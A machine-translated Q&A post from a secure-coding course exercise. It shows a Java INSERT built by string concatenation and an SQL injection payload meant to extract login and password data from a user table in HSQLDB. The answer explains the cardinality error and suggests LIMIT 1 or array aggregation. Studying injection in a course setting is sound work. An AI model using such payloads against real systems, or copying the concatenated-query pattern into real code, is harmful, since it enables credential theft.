将SQL以内的完整结果集转换成String(HSQLDB)

Convert complete result set into String within SQL (HSQLDB)

作为安全代码课程的一部分,我获得了一个易受攻击的 Java 系统,其中使用字符串连接等构建查询。以下是我必须 SQL 注入以检索登录数据的相应代码行:

String comment;
int articleID;
//...
stmt.executeUpdate("INSERT INTO comment (text, article_id) VALUES ('" + comment + "', " + articleId + ")");

comment 可以设置为任何文本,它只是从文本框中读取纯文本。因此,我考虑将文本框文本设置为 SELECT 语句,读取完整的登录数据(table user 有列 loginpassword):

' || (SELECT login || password FROM user) || '

总体上应导致查询

INSERT INTO comment (text, article_id) VALUES ('' || (SELECT login || password FROM user) || '', 4)

然而,这会导致

org.hsqldb.HsqlException: cardinality violation

问题:

我假设这是因为 (SELECT login || password FROM user) 不是单个字符串,而是一个结果集,因此可能无法使用 ||.

连接

是否有可能将完整的结果集转换为一个字符串,使其可以在这种 SQL 注入场景中使用(标准 SQL / SQL HSQLDB)?

你是对的,因为显然不止一个用户,并且从 SELECT.

返回多行

您可以将 LIMIT 1 添加到 SELECT 以获得第一行。您还可以从内部 SELECT 创建一个字符串数组。请参阅指南。

在 HSQLDB 中,每个数据库用户对 table 都有单独的访问权限。在实际部署中,插入注释的用户甚至看不到包含密码的 table 的存在,更不用说 select 了。